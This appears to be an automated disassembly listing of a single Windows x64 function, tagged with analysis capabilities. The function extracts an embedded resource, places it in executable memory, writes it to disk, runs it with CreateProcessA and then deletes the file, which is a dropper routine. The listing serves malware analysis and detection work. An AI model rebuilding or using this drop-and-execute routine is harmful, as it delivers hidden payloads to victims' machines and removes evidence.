Function at 0x140001540
Capabilities:
Delete file
Execute shellcode via indirect call
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], r8
mov dword [rbp + 0xd8], r9d
lea r8, str.RT_RCDATA
mov edx, 0x65
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x94], eax
mov rax, qword [rbp + 0x98]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x80], rax
mov eax, dword [rbp + 0x94]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x78], rax
mov ecx, dword [rbp + 0x94]
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
lea rax, [0x1400eb00a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0xffffffffffffffff
jne 0x1400016a6
lea rax, str.Error_creating_file:
mov rdx, rax
mov rax, qword [0x1400ee770]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140001962
mov eax, dword [rbp + 0x94]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14000172f
lea rax, str.Error_allocating_memory:
mov rdx, rax
mov rax, qword [0x1400ee770]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001962
mov ecx, dword [rbp + 0x94]
mov rdx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x68]
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea r8, [rbp + 0x64]
mov ecx, dword [rbp + 0x94]
mov rdx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
sete al
test al, al
je 0x1400017f4
lea rax, str.Error_writing_to_file:
mov rdx, rax
mov rax, qword [0x1400ee770]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x68]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001962
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x40]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, [0x1400eb00a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x1400018db
lea rax, str.Error_creating_process:
mov rdx, rax
mov rax, qword [0x1400ee770]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x1400eb00a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x68]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeResource]
call rax
mov eax, 0
add rsp, 0x128
pop rbx
pop rbp
ret